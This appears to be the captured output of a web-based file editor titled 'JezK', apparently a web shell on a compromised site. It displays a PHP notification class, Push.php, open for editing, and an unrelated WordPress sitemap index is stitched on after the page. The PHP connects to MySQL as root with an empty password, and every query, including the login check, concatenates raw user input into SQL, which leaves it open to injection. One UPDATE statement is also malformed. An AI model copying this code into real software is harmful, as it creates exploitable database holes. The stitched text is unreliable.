
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: Push.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
class Push {
	private $host  = 'localhost';
    private $user  = 'root';
    private $password   = &quot;&quot;;
    private $database  = &quot;web_notifications&quot;;    
    private $notifTable = 'notif';
	private $userTable = 'notif_user';
	private $dbConnect = false;
    public function __construct(){
        if(!$this-&gt;dbConnect){ 
            $conn = new mysqli($this-&gt;host, $this-&gt;user, $this-&gt;password, $this-&gt;database);
            if($conn-&gt;connect_error){
                die(&quot;Error failed to connect to MySQL: &quot; . $conn-&gt;connect_error);
            }else{
                $this-&gt;dbConnect = $conn;
            }
        }
    }
	private function getData($sqlQuery) {
		$result = mysqli_query($this-&gt;dbConnect, $sqlQuery);
		if(!$result){
			die('Error in query: '. mysqli_error());
		}
		$data= array();
		while ($row = mysqli_fetch_array($result)) {
			$data[]=$row;            
		}
		return $data;
	}
	public function listNotification(){
		$sqlQuery = 'SELECT * FROM '.$this-&gt;notifTable;
        return  $this-&gt;getData($sqlQuery);
	}	
	public function listNotificationUser($user){
		$sqlQuery = &quot;SELECT * FROM &quot;.$this-&gt;notifTable.&quot; WHERE username='$user' AND notif_loop &gt; 0 AND notif_time &lt;= CURRENT_TIMESTAMP()&quot;;
		return  $this-&gt;getData($sqlQuery);
	}	
	public function listUsers(){
		$sqlQuery = &quot;SELECT * FROM &quot;.$this-&gt;userTable.&quot; WHERE username != 'admin'&quot;;
        return  $this-&gt;getData($sqlQuery);
	}	
	public function loginUsers($username, $password){
		$sqlQuery = &quot;SELECT id as userid, username, password FROM &quot;.$this-&gt;userTable.&quot; WHERE username='$username' AND password='$password'&quot;;
        return  $this-&gt;getData($sqlQuery);
	}	
	public function saveNotification($title, $msg, $time, $loop, $loop_every, $user){
		$sqlQuery = &quot;INSERT INTO &quot;.$this-&gt;notifTable.&quot;(title, notif_msg, notif_time, notif_repeat, notif_loop, username) VALUES('$title', '$msg', '$time', '$loop', '$loop_every', '$user')&quot;;
		$result = mysqli_query($this-&gt;dbConnect, $sqlQuery);
		if(!$result){
			return ('Error in query: '. mysqli_error());
		} else {
			return $result;
		}
	}	
	public function updateNotification($id, $nextTime) {		
		$sqlUpdate = &quot;UPDATE &quot;.$this-&gt;notifTable.&quot; SET notif_time = '$nextTime', publish_date=CURRENT_TIMESTAMP(), notif_loop = notif_loop-1 WHERE id='$id')&quot;;
		mysqli_query($this-&gt;dbConnect, $sqlUpdate);
	}	
}
?&gt;</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://satyadevaresidency.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-gallery-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-testimonial-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-gallery_cat-1.xml</loc></sitemap></sitemapindex>
